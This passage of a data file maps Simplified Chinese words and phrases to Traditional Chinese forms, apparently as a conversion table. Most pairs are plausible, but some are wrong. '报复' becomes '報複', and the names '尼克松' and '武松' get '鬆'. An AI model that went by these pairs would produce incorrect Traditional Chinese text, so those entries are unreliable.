&#39;地志&#39;: &#39;地誌&#39;, &#39;坍台&#39;: &#39;坍臺&#39;, &#39;坑里&#39;: &#39;坑裡&#39;, &#39;坦荡&#39;: &#39;坦蕩&#39;, &#39;垂发&#39;: &#39;垂髮&#39;, &#39;垮台&#39;: &#39;垮臺&#39;, &#39;埋布&#39;: &#39;埋佈&#39;, &#39;城里&#39;: &#39;城裡&#39;, &#39;基干&#39;: &#39;基幹&#39;, &#39;报复&#39;: &#39;報複&#39;, &#39;塌台&#39;: &#39;塌臺&#39;, &#39;塔台&#39;: &#39;塔臺&#39;, &#39;涂着&#39;: &#39;涂著&#39;, &#39;墓志&#39;: &#39;墓誌&#39;, &#39;墨斗&#39;: &#39;墨斗&#39;, &#39;墨索里尼&#39;: &#39;墨索裡尼&#39;, &#39;垦复&#39;: &#39;墾複&#39;, &#39;垄断价格&#39;: &#39;壟斷價格&#39;, &#39;垄断资产&#39;: &#39;壟斷資產&#39;, &#39;垄断集团&#39;: &#39;壟斷集團&#39;, &#39;壶里&#39;: &#39;壺裡&#39;, &#39;寿面&#39;: &#39;壽麵&#39;, &#39;夏天里&#39;: &#39;夏天裡&#39;, &#39;夏历&#39;: &#39;夏曆&#39;, &#39;外制&#39;: &#39;外製&#39;, &#39;多冲&#39;: &#39;多衝&#39;, &#39;多采多姿&#39;: &#39;多采多姿&#39;, &#39;多么&#39;: &#39;多麼&#39;, &#39;夜光表&#39;: &#39;夜光錶&#39;, &#39;夜里&#39;: &#39;夜裡&#39;, &#39;梦里&#39;: &#39;夢裡&#39;, &#39;大伙&#39;: &#39;大伙&#39;, &#39;大卷&#39;: &#39;大卷&#39;, &#39;大干&#39;: &#39;大幹&#39;, &#39;大锤&#39;: &#39;大鎚&#39;, &#39;大只&#39;: &#39;大隻&#39;, &#39;天后&#39;: &#39;天后&#39;, &#39;天干&#39;: &#39;天干&#39;, &#39;天文台&#39;: &#39;天文臺&#39;, &#39;天翻地复&#39;: &#39;天翻地覆&#39;, &#39;太后&#39;: &#39;太后&#39;, &#39;奏折&#39;: &#39;奏摺&#39;, &#39;女丑&#39;: &#39;女丑&#39;, &#39;女佣&#39;: &#39;女佣&#39;, &#39;好家夥&#39;: &#39;好傢夥&#39;, &#39;好戏连台&#39;: &#39;好戲連臺&#39;, &#39;如法泡制&#39;: &#39;如法泡製&#39;, &#39;妆台&#39;: &#39;妝臺&#39;, &#39;姜太公&#39;: &#39;姜太公&#39;, &#39;姜子牙&#39;: &#39;姜子牙&#39;, &#39;姜丝&#39;: &#39;姜絲&#39;, &#39;字汇&#39;: &#39;字彙&#39;, &#39;字里行间&#39;: &#39;字裡行間&#39;, &#39;存折&#39;: &#39;存摺&#39;, &#39;孟姜女&#39;: &#39;孟姜女&#39;, &#39;宇宙志&#39;: &#39;宇宙誌&#39;, &#39;定准&#39;: &#39;定准&#39;, &#39;定制&#39;: &#39;定製&#39;, &#39;宣布&#39;: &#39;宣佈&#39;, &#39;宫里&#39;: &#39;宮裡&#39;, &#39;家里&#39;: &#39;家裡&#39;, &#39;密布&#39;: &#39;密佈&#39;, &#39;寇雠&#39;: &#39;寇讎&#39;, &#39;实干&#39;: &#39;實幹&#39;, &#39;写字台&#39;: &#39;寫字臺&#39;, &#39;宽松&#39;: &#39;寬鬆&#39;, &#39;封面里&#39;: &#39;封面裡&#39;, &#39;射干&#39;: &#39;射干&#39;, &#39;对表&#39;: &#39;對錶&#39;, &#39;小丑&#39;: &#39;小丑&#39;, &#39;小伙&#39;: &#39;小伙&#39;, &#39;小只&#39;: &#39;小隻&#39;, &#39;少吊&#39;: &#39;少吊&#39;, &#39;尺布斗粟&#39;: &#39;尺布斗粟&#39;, &#39;尼克松&#39;: &#39;尼克鬆&#39;, &#39;尼采&#39;: &#39;尼采&#39;, &#39;尿斗&#39;: &#39;尿斗&#39;, &#39;局里&#39;: &#39;局裡&#39;, &#39;居里&#39;: &#39;居裡&#39;, &#39;屋子里&#39;: &#39;屋子裡&#39;, &#39;屋里&#39;: &#39;屋裡&#39;, &#39;展布&#39;: &#39;展佈&#39;, &#39;屡仆屡起&#39;: &#39;屢仆屢起&#39;, &#39;屯里&#39;: &#39;屯裡&#39;, &#39;山岳&#39;: &#39;山嶽&#39;, &#39;山里&#39;: &#39;山裡&#39;, &#39;峰回&#39;: &#39;峰迴&#39;, &#39;巡回&#39;: &#39;巡迴&#39;, &#39;巧干&#39;: &#39;巧幹&#39;, &#39;巴尔干&#39;: &#39;巴爾幹&#39;, &#39;巴里&#39;: &#39;巴裡&#39;, &#39;巷里&#39;: &#39;巷裡&#39;, &#39;市里&#39;: &#39;市裡&#39;, &#39;布谷&#39;: &#39;布穀&#39;, &#39;希腊&#39;: &#39;希腊&#39;, &#39;帘子&#39;: &#39;帘子&#39;, &#39;帘布&#39;: &#39;帘布&#39;, &#39;席卷&#39;: &#39;席卷&#39;, &#39;带团参加&#39;: &#39;帶團參加&#39;, &#39;带发修行&#39;: &#39;帶髮修行&#39;, &#39;干休&#39;: &#39;干休&#39;, &#39;干系&#39;: &#39;干係&#39;, &#39;干卿何事&#39;: &#39;干卿何事&#39;, &#39;干将&#39;: &#39;干將&#39;, &#39;干戈&#39;: &#39;干戈&#39;, &#39;干挠&#39;: &#39;干撓&#39;, &#39;干扰&#39;: &#39;干擾&#39;, &#39;干支&#39;: &#39;干支&#39;, &#39;干政&#39;: &#39;干政&#39;, &#39;干时&#39;: &#39;干時&#39;, &#39;干涉&#39;: &#39;干涉&#39;, &#39;干犯&#39;: &#39;干犯&#39;, &#39;干与&#39;: &#39;干與&#39;, &#39;干贝&#39;: &#39;干貝&#39;, &#39;干预&#39;: &#39;干預&#39;, &#39;平台&#39;: &#39;平臺&#39;, &#39;年历&#39;: &#39;年曆&#39;, &#39;年里&#39;: &#39;年裡&#39;, &#39;干上&#39;: &#39;幹上&#39;, &#39;干下去&#39;: &#39;幹下去&#39;, &#39;干了&#39;: &#39;幹了&#39;, &#39;干事&#39;: &#39;幹事&#39;, &#39;干些&#39;: &#39;幹些&#39;, &#39;干个&#39;: &#39;幹個&#39;, &#39;干劲&#39;: &#39;幹勁&#39;, &#39;干员&#39;: &#39;幹員&#39;, &#39;干吗&#39;: &#39;幹嗎&#39;, &#39;干嘛&#39;: &#39;幹嘛&#39;, &#39;干坏事&#39;: &#39;幹壞事&#39;, &#39;干完&#39;: &#39;幹完&#39;, &#39;干得&#39;: &#39;幹得&#39;, &#39;干性油&#39;: &#39;幹性油&#39;, &#39;干才&#39;: &#39;幹才&#39;, &#39;干掉&#39;: &#39;幹掉&#39;, &#39;干校&#39;: &#39;幹校&#39;, &#39;干活&#39;: &#39;幹活&#39;, &#39;干流&#39;: &#39;幹流&#39;, &#39;干球温度&#39;: &#39;幹球溫度&#39;, &#39;干线&#39;: &#39;幹線&#39;, &#39;干练&#39;: &#39;幹練&#39;, &#39;干警&#39;: &#39;幹警&#39;, &#39;干起来&#39;: &#39;幹起來&#39;, &#39;干路&#39;: &#39;幹路&#39;, &#39;干道&#39;: &#39;幹道&#39;, &#39;干部&#39;: &#39;幹部&#39;, &#39;干么&#39;: &#39;幹麼&#39;, &#39;几只&#39;: &#39;幾隻&#39;, &#39;几出&#39;: &#39;幾齣&#39;, &#39;底里&#39;: &#39;底裡&#39;, &#39;康采恩&#39;: &#39;康采恩&#39;, &#39;庙里&#39;: &#39;廟裡&#39;, &#39;建台&#39;: &#39;建臺&#39;, &#39;弄脏&#39;: &#39;弄髒&#39;, &#39;弔卷&#39;: &#39;弔卷&#39;, &#39;弘历&#39;: &#39;弘曆&#39;, &#39;别扭&#39;: &#39;彆扭&#39;, &#39;别拗&#39;: &#39;彆拗&#39;, &#39;别气&#39;: &#39;彆氣&#39;, &#39;别脚&#39;: &#39;彆腳&#39;, &#39;弹子台&#39;: &#39;彈子檯&#39;, &#39;弹药&#39;: &#39;彈葯&#39;, &#39;汇报&#39;: &#39;彙報&#39;, &#39;汇整&#39;: &#39;彙整&#39;, &#39;汇编&#39;: &#39;彙編&#39;, &#39;汇总&#39;: &#39;彙總&#39;, &#39;汇纂&#39;: &#39;彙纂&#39;, &#39;汇辑&#39;: &#39;彙輯&#39;, &#39;汇集&#39;: &#39;彙集&#39;, &#39;形单影只&#39;: &#39;形單影隻&#39;, &#39;影后&#39;: &#39;影后&#39;, &#39;往里&#39;: &#39;往裡&#39;, &#39;往复&#39;: &#39;往複&#39;, &#39;征伐&#39;: &#39;征伐&#39;, &#39;征兵&#39;: &#39;征兵&#39;, &#39;征尘&#39;: &#39;征塵&#39;, &#39;征夫&#39;: &#39;征夫&#39;, &#39;征战&#39;: &#39;征戰&#39;, &#39;征收&#39;: &#39;征收&#39;, &#39;征服&#39;: &#39;征服&#39;, &#39;征求&#39;: &#39;征求&#39;, &#39;征发&#39;: &#39;征發&#39;, &#39;征衣&#39;: &#39;征衣&#39;, &#39;征讨&#39;: &#39;征討&#39;, &#39;征途&#39;: &#39;征途&#39;, &#39;后台&#39;: &#39;後臺&#39;, &#39;从里到外&#39;: &#39;從裡到外&#39;, &#39;从里向外&#39;: &#39;從裡向外&#39;, &#39;复雠&#39;: &#39;復讎&#39;, &#39;复辟&#39;: &#39;復辟&#39;, &#39;德干高原&#39;: &#39;德干高原&#39;, &#39;心愿&#39;: &#39;心愿&#39;, &#39;心荡神驰&#39;: &#39;心蕩神馳&#39;, &#39;心里&#39;: &#39;心裡&#39;, &#39;忙里&#39;: &#39;忙裡&#39;, &#39;快干&#39;: &#39;快幹&#39;, &#39;快冲&#39;: &#39;快衝&#39;, &#39;怎么&#39;: &#39;怎麼&#39;, &#39;怎么着&#39;: &#39;怎麼著&#39;, &#39;怒发冲冠&#39;: &#39;怒髮衝冠&#39;, &#39;急冲而下&#39;: &#39;急衝而下&#39;, &#39;怪里怪气&#39;: &#39;怪裡怪氣&#39;, &#39;恩准&#39;: &#39;恩准&#39;, &#39;情有所钟&#39;: &#39;情有所鍾&#39;, &#39;意面&#39;: &#39;意麵&#39;, &#39;慌里慌张&#39;: &#39;慌裡慌張&#39;, &#39;慰借&#39;: &#39;慰藉&#39;, &#39;忧郁&#39;: &#39;憂郁&#39;, &#39;凭吊&#39;: &#39;憑吊&#39;, &#39;凭借&#39;: &#39;憑藉&#39;, &#39;凭借着&#39;: &#39;憑藉著&#39;, &#39;蒙懂&#39;: &#39;懞懂&#39;, &#39;怀里&#39;: &#39;懷裡&#39;, &#39;怀表&#39;: &#39;懷錶&#39;, &#39;悬吊&#39;: &#39;懸吊&#39;, &#39;恋恋不舍&#39;: &#39;戀戀不捨&#39;, &#39;戏台&#39;: &#39;戲臺&#39;, &#39;戴表&#39;: &#39;戴錶&#39;, &#39;戽斗&#39;: &#39;戽斗&#39;, &#39;房里&#39;: &#39;房裡&#39;, &#39;手不释卷&#39;: &#39;手不釋卷&#39;, &#39;手卷&#39;: &#39;手卷&#39;, &#39;手折&#39;: &#39;手摺&#39;, &#39;手里&#39;: &#39;手裡&#39;, &#39;手表&#39;: &#39;手錶&#39;, &#39;手松&#39;: &#39;手鬆&#39;, &#39;才干&#39;: &#39;才幹&#39;, &#39;才高八斗&#39;: &#39;才高八斗&#39;, &#39;打谷&#39;: &#39;打穀&#39;, &#39;扞御&#39;: &#39;扞禦&#39;, &#39;批准&#39;: &#39;批准&#39;, &#39;批复&#39;: &#39;批覆&#39;, &#39;承制&#39;: &#39;承製&#39;, &#39;抗御&#39;: &#39;抗禦&#39;, &#39;折冲&#39;: &#39;折衝&#39;, &#39;披复&#39;: &#39;披覆&#39;, &#39;披发&#39;: &#39;披髮&#39;, &#39;抱朴&#39;: &#39;抱朴&#39;, &#39;抵御&#39;: &#39;抵禦&#39;, &#39;拆伙&#39;: &#39;拆伙&#39;, &#39;拆台&#39;: &#39;拆臺&#39;, &#39;拈须&#39;: &#39;拈鬚&#39;, &#39;拉纤&#39;: &#39;拉縴&#39;, &#39;拉面&#39;: &#39;拉麵&#39;, &#39;拖吊&#39;: &#39;拖吊&#39;, &#39;拗别&#39;: &#39;拗彆&#39;, &#39;拮据&#39;: &#39;拮据&#39;, &#39;振荡&#39;: &#39;振蕩&#39;, &#39;捍御&#39;: &#39;捍禦&#39;, &#39;舍不得&#39;: &#39;捨不得&#39;, &#39;舍出&#39;: &#39;捨出&#39;, &#39;舍去&#39;: &#39;捨去&#39;, &#39;舍命&#39;: &#39;捨命&#39;, &#39;舍己从人&#39;: &#39;捨己從人&#39;, &#39;舍己救人&#39;: &#39;捨己救人&#39;, &#39;舍己为人&#39;: &#39;捨己為人&#39;, &#39;舍己为公&#39;: &#39;捨己為公&#39;, &#39;舍己为国&#39;: &#39;捨己為國&#39;, &#39;舍得&#39;: &#39;捨得&#39;, &#39;舍我其谁&#39;: &#39;捨我其誰&#39;, &#39;舍本逐末&#39;: &#39;捨本逐末&#39;, &#39;舍弃&#39;: &#39;捨棄&#39;, &#39;舍死忘生&#39;: &#39;捨死忘生&#39;, &#39;舍生&#39;: &#39;捨生&#39;, &#39;舍短取长&#39;: &#39;捨短取長&#39;, &#39;舍身&#39;: &#39;捨身&#39;, &#39;舍车保帅&#39;: &#39;捨車保帥&#39;, &#39;舍近求远&#39;: &#39;捨近求遠&#39;, &#39;捲发&#39;: &#39;捲髮&#39;, &#39;捵面&#39;: &#39;捵麵&#39;, &#39;扫荡&#39;: &#39;掃蕩&#39;, &#39;掌柜&#39;: &#39;掌柜&#39;, &#39;排骨面&#39;: &#39;排骨麵&#39;, &#39;挂帘&#39;: &#39;掛帘&#39;, &#39;挂面&#39;: &#39;掛麵&#39;, &#39;接着说&#39;: &#39;接著說&#39;, &#39;提心吊胆&#39;: &#39;提心吊膽&#39;, &#39;插图卷&#39;: &#39;插圖卷&#39;, &#39;换吊&#39;: &#39;換吊&#39;, &#39;换只&#39;: &#39;換隻&#39;, &#39;换发&#39;: &#39;換髮&#39;, &#39;摇荡&#39;: &#39;搖蕩&#39;, &#39;搭伙&#39;: &#39;搭伙&#39;, &#39;折合&#39;: &#39;摺合&#39;, &#39;折奏&#39;: &#39;摺奏&#39;, &#39;折子&#39;: &#39;摺子&#39;, &#39;折尺&#39;: &#39;摺尺&#39;, &#39;折扇&#39;: &#39;摺扇&#39;, &#39;折梯&#39;: &#39;摺梯&#39;, &#39;折椅&#39;: &#39;摺椅&#39;, &#39;折叠&#39;: &#39;摺疊&#39;, &#39;折痕&#39;: &#39;摺痕&#39;, &#39;折篷&#39;: &#39;摺篷&#39;, &#39;折纸&#39;: &#39;摺紙&#39;, &#39;折裙&#39;: &#39;摺裙&#39;, &#39;撒布&#39;: &#39;撒佈&#39;, &#39;撚须&#39;: &#39;撚鬚&#39;, &#39;撞球台&#39;: &#39;撞球檯&#39;, &#39;擂台&#39;: &#39;擂臺&#39;, &#39;担仔面&#39;: &#39;擔仔麵&#39;, &#39;担担面&#39;: &#39;擔擔麵&#39;, &#39;担着&#39;: &#39;擔著&#39;, &#39;担负着&#39;: &#39;擔負著&#39;, &#39;据云&#39;: &#39;據云&#39;, &#39;擢发难数&#39;: &#39;擢髮難數&#39;, &#39;摆布&#39;: &#39;擺佈&#39;, &#39;摄制&#39;: &#39;攝製&#39;, &#39;支干&#39;: &#39;支幹&#39;, &#39;收获&#39;: &#39;收穫&#39;, &#39;改制&#39;: &#39;改製&#39;, &#39;攻克&#39;: &#39;攻剋&#39;, &#39;放荡&#39;: &#39;放蕩&#39;, &#39;放松&#39;: &#39;放鬆&#39;, &#39;叙说着&#39;: &#39;敘說著&#39;, &#39;散伙&#39;: &#39;散伙&#39;, &#39;散布&#39;: &#39;散佈&#39;, &#39;散荡&#39;: &#39;散蕩&#39;, &#39;散发&#39;: &#39;散髮&#39;, &#39;整只&#39;: &#39;整隻&#39;, &#39;整出&#39;: &#39;整齣&#39;, &#39;文采&#39;: &#39;文采&#39;, &#39;斗六&#39;: &#39;斗六&#39;, &#39;斗南&#39;: &#39;斗南&#39;, &#39;斗大&#39;: &#39;斗大&#39;, &#39;斗子&#39;: &#39;斗子&#39;, &#39;斗室&#39;: &#39;斗室&#39;, &#39;斗方&#39;: &#39;斗方&#39;, &#39;斗栱&#39;: &#39;斗栱&#39;, &#39;斗笠&#39;: &#39;斗笠&#39;, &#39;斗箕&#39;: &#39;斗箕&#39;, &#39;斗篷&#39;: &#39;斗篷&#39;, &#39;斗胆&#39;: &#39;斗膽&#39;, &#39;斗转参横&#39;: &#39;斗轉參橫&#39;, &#39;斗量&#39;: &#39;斗量&#39;, &#39;斗门&#39;: &#39;斗門&#39;, &#39;料斗&#39;: &#39;料斗&#39;, &#39;斯里兰卡&#39;: &#39;斯裡蘭卡&#39;, &#39;新历&#39;: &#39;新曆&#39;, &#39;断头台&#39;: &#39;斷頭臺&#39;, &#39;方才&#39;: &#39;方纔&#39;, &#39;施舍&#39;: &#39;施捨&#39;, &#39;旋绕着&#39;: &#39;旋繞著&#39;, &#39;旋回&#39;: &#39;旋迴&#39;, &#39;族里&#39;: &#39;族裡&#39;, &#39;日历&#39;: &#39;日曆&#39;, &#39;日志&#39;: &#39;日誌&#39;, &#39;日进斗金&#39;: &#39;日進斗金&#39;, &#39;明了&#39;: &#39;明瞭&#39;, &#39;明窗净几&#39;: &#39;明窗淨几&#39;, &#39;明里&#39;: &#39;明裡&#39;, &#39;星斗&#39;: &#39;星斗&#39;, &#39;星历&#39;: &#39;星曆&#39;, &#39;星移斗换&#39;: &#39;星移斗換&#39;, &#39;星移斗转&#39;: &#39;星移斗轉&#39;, &#39;星罗棋布&#39;: &#39;星羅棋佈&#39;, &#39;星辰表&#39;: &#39;星辰錶&#39;, &#39;春假里&#39;: &#39;春假裡&#39;, &#39;春天里&#39;: &#39;春天裡&#39;, &#39;晃荡&#39;: &#39;晃蕩&#39;, &#39;景致&#39;: &#39;景緻&#39;, &#39;暗地里&#39;: &#39;暗地裡&#39;, &#39;暗沟里&#39;: &#39;暗溝裡&#39;, &#39;暗里&#39;: &#39;暗裡&#39;, &#39;历数&#39;: &#39;曆數&#39;, &#39;历书&#39;: &#39;曆書&#39;, &#39;历法&#39;: &#39;曆法&#39;, &#39;书卷&#39;: &#39;書卷&#39;, &#39;会干&#39;: &#39;會幹&#39;, &#39;会里&#39;: &#39;會裡&#39;, &#39;月历&#39;: &#39;月曆&#39;, &#39;月台&#39;: &#39;月臺&#39;, &#39;有只&#39;: &#39;有隻&#39;, &#39;木制&#39;: &#39;木製&#39;, &#39;本台&#39;: &#39;本臺&#39;, &#39;朴子&#39;: &#39;朴子&#39;, &#39;朴实&#39;: &#39;朴實&#39;, &#39;朴硝&#39;: &#39;朴硝&#39;, &#39;朴素&#39;: &#39;朴素&#39;, &#39;朴资茅斯&#39;: &#39;朴資茅斯&#39;, &#39;村里&#39;: &#39;村裡&#39;, &#39;束发&#39;: &#39;束髮&#39;, &#39;东岳&#39;: &#39;東嶽&#39;, &#39;东征&#39;: &#39;東征&#39;, &#39;松赞干布&#39;: &#39;松贊干布&#39;, &#39;板着脸&#39;: &#39;板著臉&#39;, &#39;板荡&#39;: &#39;板蕩&#39;, &#39;枕借&#39;: &#39;枕藉&#39;, &#39;林宏岳&#39;: &#39;林宏嶽&#39;, &#39;枝干&#39;: &#39;枝幹&#39;, &#39;枯干&#39;: &#39;枯幹&#39;, &#39;某只&#39;: &#39;某隻&#39;, &#39;染发&#39;: &#39;染髮&#39;, &#39;柜上&#39;: &#39;柜上&#39;, &#39;柜台&#39;: &#39;櫃臺&#39;, &#39;柜子&#39;: &#39;柜子&#39;, &#39;查卷&#39;: &#39;查卷&#39;, &#39;查号台&#39;: &#39;查號臺&#39;, &#39;校雠学&#39;: &#39;校讎學&#39;, &#39;核准&#39;: &#39;核准&#39;, &#39;核复&#39;: &#39;核覆&#39;, &#39;格里&#39;: &#39;格裡&#39;, &#39;案卷&#39;: &#39;案卷&#39;, &#39;条干&#39;: &#39;條幹&#39;, &#39;棉卷&#39;: &#39;棉卷&#39;, &#39;棉制&#39;: &#39;棉製&#39;, &#39;植发&#39;: &#39;植髮&#39;, &#39;楼台&#39;: &#39;樓臺&#39;, &#39;标志着&#39;: &#39;標志著&#39;, &#39;标致&#39;: &#39;標緻&#39;, &#39;标志&#39;: &#39;標誌&#39;, &#39;模制&#39;: &#39;模製&#39;, &#39;树干&#39;: &#39;樹幹&#39;, &#39;横征暴敛&#39;: &#39;橫征暴斂&#39;, &#39;横冲&#39;: &#39;橫衝&#39;, &#39;档卷&#39;: &#39;檔卷&#39;, &#39;检复&#39;: &#39;檢覆&#39;, &#39;台子&#39;: &#39;檯子&#39;, &#39;台布&#39;: &#39;檯布&#39;, &#39;台灯&#39;: &#39;臺燈&#39;, &#39;台球&#39;: &#39;臺球&#39;, &#39;台面&#39;: &#39;臺面&#39;, &#39;栏干&#39;: &#39;欄干&#39;, &#39;欺蒙&#39;: &#39;欺矇&#39;, &#39;歌后&#39;: &#39;歌后&#39;, &#39;欧几里得&#39;: &#39;歐幾裡得&#39;, &#39;正当着&#39;: &#39;正當著&#39;, &#39;武后&#39;: &#39;武后&#39;, &#39;武松&#39;: &#39;武鬆&#39;, &#39;归并&#39;: &#39;歸併&#39;, &#39;死里求生&#39;: &#39;死裡求生&#39;, &#39;死里逃生&#39;: &#39;死裡逃生&#39;, &#39;残卷&#39;: &#39;殘卷&#39;, &#39;杀虫药&#39;: &#39;殺虫藥&#39;, &#39;壳里&#39;: &#39;殼裡&#39;, &#39;母后&#39;: &#39;母后&#39;, &#39;每只&#39;: &#39;每隻&#39;, &#39;比干&#39;: &#39;比干&#39;, &#39;毛卷&#39;: &#39;毛卷&#39;, &#39;毛发&#39;: &#39;毛髮&#39;, &#39;毫发&#39;: &#39;毫髮&#39;, &#39;气冲牛斗&#39;: &#39;氣沖牛斗&#39;, &#39;气象台&#39;: &#39;氣象臺&#39;, &#39;氯霉素&#39;: &#39;氯黴素&#39;, &#39;水斗&#39;: &#39;水斗&#39;, &#39;水里&#39;: &#39;水裡&#39;, &#39;水表&#39;: &#39;水錶&#39;, &#39;永历&#39;: &#39;永曆&#39;, &#39;污蔑&#39;: &#39;污衊&#39;, &#39;池里&#39;: &#39;池裡&#39;, &#39;沈着&#39;: &#39;沈著&#39;, &#39;没事干&#39;: &#39;沒事幹&#39;, &#39;没精打采&#39;: &#39;沒精打采&#39;, &#39;冲着&#39;: &#39;衝著&#39;, &#39;沙里淘金&#39;: &#39;沙裡淘金&#39;, &#39;河里&#39;: &#39;河裡&#39;, &#39;油面&#39;: &#39;油麵&#39;, &#39;泡面&#39;: &#39;泡麵&#39;, &#39;泰斗&#39;: &#39;泰斗&#39;, &#39;洗手不干&#39;: &#39;洗手不幹&#39;, &#39;洗发精&#39;: &#39;洗髮精&#39;, &#39;派团参加&#39;: &#39;派團參加&#39;, &#39;流荡&#39;: &#39;流蕩&#39;, &#39;浩荡&#39;: &#39;浩蕩&#39;, &#39;浪琴表&#39;: &#39;浪琴錶&#39;, &#39;浪荡&#39;: &#39;浪蕩&#39;, &#39;浮荡&#39;: &#39;浮蕩&#39;, &#39;海里&#39;: &#39;海裡&#39;, &#39;液晶表&#39;: &#39;液晶錶&#39;, &#39;凉面&#39;: &#39;涼麵&#39;, &#39;淡朱&#39;: &#39;淡硃&#39;, &#39;淫荡&#39;: &#39;淫蕩&#39;, &#39;测验卷&#39;: &#39;測驗卷&#39;, &#39;港制&#39;: &#39;港製&#39;, &#39;游荡&#39;: &#39;遊蕩&#39;, &#39;凑合着&#39;: &#39;湊合著&#39;, &#39;湖里&#39;: &#39;湖裡&#39;, &#39;汤团&#39;: &#39;湯糰&#39;, &#39;汤面&#39;: &#39;湯麵&#39;, &#39;卤制&#39;: &#39;滷製&#39;, &#39;卤面&#39;: &#39;滷麵&#39;, &#39;满布&#39;: &#39;滿佈&#39;, &#39;漂荡&#39;: &#39;漂蕩&#39;, &#39;漏斗&#39;: &#39;漏斗&#39;, &#39;演奏台&#39;: &#39;演奏臺&#39;, &#39;潭里&#39;: &#39;潭裡&#39;, &#39;激荡&#39;: &#39;激蕩&#39;, &#39;浓郁&#39;: &#39;濃郁&#39;, &#39;浓发&#39;: &#39;濃髮&#39;, &#39;湿地松&#39;: &#39;濕地鬆&#39;, &#39;蒙蒙&#39;: &#39;矇矇&#39;, &#39;蒙雾&#39;: &#39;濛霧&#39;, &#39;瀛台&#39;: &#39;瀛臺&#39;, &#39;弥漫&#39;: &#39;瀰漫&#39;, &#39;弥漫着&#39;: &#39;瀰漫著&#39;, &#39;火并&#39;: &#39;火併&#39;, &#39;灰蒙&#39;: &#39;灰濛&#39;, &#39;炒面&#39;: &#39;炒麵&#39;, &#39;炮制&#39;: &#39;炮製&#39;, &#39;炸药&#39;: &#39;炸葯&#39;, &#39;炸酱面&#39;: &#39;炸醬麵&#39;, &#39;为着&#39;: &#39;為著&#39;, &#39;乌干达&#39;: &#39;烏干達&#39;, &#39;乌苏里江&#39;: &#39;烏蘇裡江&#39;, &#39;乌发&#39;: &#39;烏髮&#39;, &#39;乌龙面&#39;: &#39;烏龍麵&#39;, &#39;烘制&#39;: &#39;烘製&#39;, &#39;烽火台&#39;: &#39;烽火臺&#39;, &#39;无干&#39;: &#39;無干&#39;, &#39;无精打采&#39;: &#39;無精打采&#39;, &#39;炼制&#39;: &#39;煉製&#39;, &#39;烟卷儿&#39;: &#39;煙卷兒&#39;, &#39;烟斗&#39;: &#39;煙斗&#39;, &#39;烟斗丝&#39;: &#39;煙斗絲&#39;, &#39;烟台&#39;: &#39;煙臺&#39;, &#39;照准&#39;: &#39;照准&#39;, &#39;熨斗&#39;: &#39;熨斗&#39;, &#39;灯台&#39;: &#39;燈臺&#39;, &#39;燎发&#39;: &#39;燎髮&#39;, &#39;烫发&#39;: &#39;燙髮&#39;, &#39;烫面&#39;: &#39;燙麵&#39;, &#39;烛台&#39;: &#39;燭臺&#39;, &#39;炉台&#39;: &#39;爐臺&#39;, &#39;爽荡&#39;: &#39;爽蕩&#39;, &#39;片言只语&#39;: &#39;片言隻語&#39;, &#39;牛肉面&#39;: &#39;牛肉麵&#39;, &#39;牛只&#39;: &#39;牛隻&#39;, &#39;特准&#39;: &#39;特准&#39;, &#39;特征&#39;: &#39;特征&#39;, &#39;特里&#39;: &#39;特裡&#39;, &#39;特制&#39;: &#39;特製&#39;, &#39;牵系&#39;: &#39;牽繫&#39;, &#39;狼借&#39;: &#39;狼藉&#39;, &#39;猛冲&#39;: &#39;猛衝&#39;, &#39;奖杯&#39;: &#39;獎盃&#39;, &#39;获准&#39;: &#39;獲准&#39;, &#39;率团参加&#39;: &#39;率團參加&#39;, &#39;王侯后&#39;: &#39;王侯后&#39;, &#39;王后&#39;: &#39;王后&#39;, &#39;班里&#39;: &#39;班裡&#39;, &#39;理发&#39;: &#39;理髮&#39;, &#39;瑶台&#39;: &#39;瑤臺&#39;, &#39;甚么&#39;: &#39;甚麼&#39;, &#39;甜面酱&#39;: &#39;甜麵醬&#39;, &#39;生力面&#39;: &#39;生力麵&#39;, &#39;生锈&#39;: &#39;生鏽&#39;, &#39;生发&#39;: &#39;生髮&#39;, &#39;田里&#39;: &#39;田裡&#39;, &#39;由馀&#39;: &#39;由余&#39;, &#39;男佣&#39;: &#39;男佣&#39;, &#39;男用表&#39;: &#39;男用錶&#39;, &#39;留发&#39;: &#39;留髮&#39;, &#39;畚斗&#39;: &#39;畚斗&#39;, &#39;当着&#39;: &#39;當著&#39;, &#39;疏松&#39;: &#39;疏鬆&#39;, &#39;疲困&#39;: &#39;疲睏&#39;, &#39;病症&#39;: &#39;病癥&#39;, &#39;症候&#39;: &#39;癥候&#39;, &#39;症状&#39;: &#39;癥狀&#39;, &#39;症结&#39;: &#39;癥結&#39;, &#39;登台&#39;: &#39;登臺&#39;, &#39;发布&#39;: &#39;發佈&#39;, &#39;发着&#39;: &#39;發著&#39;, &#39;发面&#39;: &#39;發麵&#39;, &#39;发霉&#39;: &#39;發黴&#39;, &#39;白卷&#39;: &#39;白卷&#39;, &#39;白干儿&#39;: &#39;白干兒&#39;, &#39;白发&#39;: &#39;白髮&#39;, &#39;白面&#39;: &#39;白麵&#39;, &#39;百里&#39;: &#39;百裡&#39;, &#39;百只&#39;: &#39;百隻&#39;, &#39;皇后&#39;: &#39;皇后&#39;, &#39;皇历&#39;: &#39;皇曆&#39;, &#39;皓发&#39;: &#39;皓髮&#39;, &#39;皮里阳秋&#39;: &#39;皮裏陽秋&#39;, &#39;皮里春秋&#39;: &#39;皮裡春秋&#39;, &#39;皮制&#39;: &#39;皮製&#39;, &#39;皱折&#39;: &#39;皺摺&#39;, &#39;盒里&#39;: &#39;盒裡&#39;, &#39;监制&#39;: &#39;監製&#39;, &#39;盘里&#39;: &#39;盤裡&#39;, &#39;盘回&#39;: &#39;盤迴&#39;, &#39;直接参与&#39;: &#39;直接參与&#39;, &#39;直冲&#39;: &#39;直衝&#39;, &#39;相克&#39;: &#39;相剋&#39;, &#39;相干&#39;: &#39;相干&#39;, &#39;相冲&#39;: &#39;相衝&#39;, &#39;看台&#39;: &#39;看臺&#39;, &#39;眼帘&#39;: &#39;眼帘&#39;, &#39;眼眶里&#39;: &#39;眼眶裡&#39;, &#39;眼里&#39;: &#39;眼裡&#39;, &#39;困乏&#39;: &#39;睏乏&#39;, &#39;睡着了&#39;: &#39;睡著了&#39;, &#39;了如&#39;: &#39;瞭如&#39;, &#39;了望&#39;: &#39;瞭望&#39;, &#39;了然&#39;: &#39;瞭然&#39;, &#39;了若指掌&#39;: &#39;瞭若指掌&#39;, &#39;了解&#39;: &#39;瞭解&#39;, &#39;蒙住&#39;: &#39;矇住&#39;, &#39;蒙昧无知&#39;: &#39;矇昧無知&#39;, &#39;蒙混&#39;: &#39;矇混&#39;, &#39;蒙眬&#39;: 